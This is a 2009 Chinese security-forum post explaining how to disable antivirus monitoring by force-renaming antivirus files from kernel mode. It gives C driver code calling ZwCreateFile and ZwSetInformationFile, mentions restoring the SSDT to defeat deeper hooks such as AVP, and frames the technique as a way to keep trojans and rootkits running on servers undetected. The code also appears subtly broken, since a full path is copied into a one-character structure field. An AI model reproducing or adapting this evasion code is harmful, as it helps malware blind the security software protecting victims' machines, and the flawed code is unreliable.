qq646830734
注册用户
积分 96
发帖 96
注册 2009-4-5
|
#1 RING0强穿所有主动防御
你信点饭的这篇文章吗？
选择：A信 B不信 C不知道
-------------------------------------------------------------------------------------------------------------------------------
这篇文章本来前2天就打算发出来的,最近手头有点小事,今天有空就把这篇文章整理出来了,前面先说点题外话。对于传统的远控来说，由于流传面积广，都成为各大杀软的重点查杀目标。不光特征码多，还有个致命缺陷。那就是关键释放过程早已被杀软熟悉了，严格的来说，这些木马的行为已经被杀软所掌握。如注射远程线程，启动傀儡IE，加载驱动，注册服务，修改敏感系统注册表键值等，这些行为靠修改特征码是很难做到的。所以经常出现这样的情况，刚做好的免杀过不了多久总会被杀软查杀。基本处于 免杀->被杀->在免->再被杀 尤其是象鸽子 PS这样的远控，如果是仅仅为控制好玩，那我不多说什么了。如果要使自己的ROOTKIT能够在服务器上长期存在，那么势必要自己独立开发一款属于自己的ROOTKIT，这个不是今天要讲的主题，以后有时间了，在发写如何编写ROOTKIT的文章，上周我发了一篇关于“一句话过360监控”的帖子，好象前天360已经修复了这个漏洞。今天我就说下，如何打造穿透所有杀软监控的程序。
首先 明确一点 当一个文件的路径被改变的时候，其应用程序就会发生错误，要么退出，要么崩溃。一般杀软为了保护自己的文件不被重命名，要么设置文件为“只读”属性，，要么利用Inline Hook IofCallDriver拦截删除（重命名）文件请求的API 如(CreateFile()),这样保护了自己的文件不被删除或重命名。其实重命名就是一个删除文件，再建文件的过程。
关于具体的实现代码，请百度或者google下，关于ring3下利用createFile()和Inline Hook IofCallDriver保护文件不被删除的原理，这里主要将如何强行重命名文件，导致杀软的所有监控失效。
对于一句话过360监控，我们是通过MoveFile()实现的，跟踪MoveFile可知，它会调用ZwSetInformationFile实现文件移动功能，这里要说下关于FileInformation的结构_FILE_RENAME_INFORMATION是未公开的，所以还是逆向下他的结构。
typedef struct _FILE_RENAME_INFORMATION {
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;
其中ReplaceIfExists判断是否存在重命名的文件夹，RootDirectory 文件的绝对物理路径，ULONG FileNameLength文件名字长度，FileName文件名。这里说下，关于FileNameLength这个参数可以通过sizeof()这个函数获得，我们的实现过程如下，利用ZwCreateFile()打开文件夹，利用ZwSetInformationFile修改文件名。其实现代码如下：
NTSTATUS Rename(PCHAR szFileName1,PCHAR szFileName2)
{
FILE_RENAME_INFORMATION fri;
IO_STATUS_BLOCK iostatus;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING pathnameW;
ANSI_STRING pathnameA;
NTSTATUS status;
HANDLE hfile =NULL;
CHAR szFileNameL[MAXPATHLEN];
strcpy(szFileNameL,"\\\\DosDevices\\\\");
strcat(szFileNameL,szFileName1);
RtlInitAnsiString(&pathnameA,szFileNameL );
RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE);
InitializeObjectAttributes(&oa, &pathnameW, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = ZwCreateFile(&hfile, DELETE, &oa, &iostatus, NULL, 0, FILE_SHARE_READ,FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0);
RtlFreeUnicodeString(&pathnameW);
if(!NT_SUCCESS(status))
{
goto done;
}
strcpy(szFileNameL,\"\\\\DosDevices\\\\\");
strcat(szFileNameL,szFileName2);
RtlInitAnsiString(&pathnameA,szFileNameL );
RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE);
fri.FileNameLength=pathnameW.Length;
memcpy(fri.FileName,pathnameW.Buffer,pathnameW.Length);
fri.ReplaceIfExists=0;
fri.RootDirectory=0;
status = ZwSetInformationFile(hfile,&iostatus,&fri,sizeof(fri),FileRenameInformation);
RtlFreeUnicodeString(&pathnameW);
done:
if(hfile)
{
ZwClose(hfile);
}
return status;
}
这样就可以实现在RING0下强行重命名文件的效果了。当然对于AVP这样底层HOOK的比较深的杀软来说，事先还是需要恢复SSDT才能重命名文件的。一般来说，他会从驱动层过滤IoCallDriver()的请求，导致文件重命名失效，所以对于一些特殊的杀软还是要"特殊照顾"的。
[ Last edited by qq646830734 on 2009-7-12 at 21:22 ]
| |
※ ※ ※ 本文纯属【qq646830734】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
